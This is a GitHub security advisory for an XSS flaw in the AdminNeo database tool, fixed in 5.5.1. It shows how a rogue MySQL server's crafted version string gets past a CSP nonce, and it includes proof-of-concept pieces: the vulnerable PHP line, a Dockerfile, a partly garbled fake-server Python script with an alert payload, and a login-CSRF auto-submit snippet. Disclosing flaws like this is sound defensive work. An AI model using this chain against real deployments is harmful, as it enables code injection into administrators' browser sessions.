GitHub Advisoryadvisory · Packagist

GHSA-rx7m-wxwq-vxr9 AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

HIGH Published 2026-10-30 Modified 2026-10-30 Official page ↗
Aliases
CVE-2026-96632
Ecosystem
Packagist
Packages
adminneo-org/adminneo
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Weaknesses
CWE-79
Reviewed
2026-10-30

Affected packages

• Packagist adminneo-org/adminneo: < 5.5.1 → fixed in 5.5.1

Description

Summary AdminNeo inserts the database server's version string into a `` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF. Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj Prerequisites • Target runs AdminNeo • Attacker controls a reachable MySQL server (a 80-line Python script) Root Cause `admin/core/Admin.php`, lines 1285-1286: ```php echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });"); ``` `script()` wraps the output in ``. Return value of `Connection::get()->getVersion()` is not escaped. Steps To Reproduce 1. Build the environment Dockerfile (AdminNeo): ```dockerfile FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"] ``` rogue_mysql.py (fake MySQL server that accepts any login): ```python import socket, struct, threading PAYLOAD = "1');alert(origin)//" Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16) def make_packet(seq, payload): length = struct.pack("let autocompletion; window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); }); ``` The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce. 3. Trigger it via Login CSRF The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server: ```html document.getElementById('f').submit() ``` Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Related

Alias · not in database (1)

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References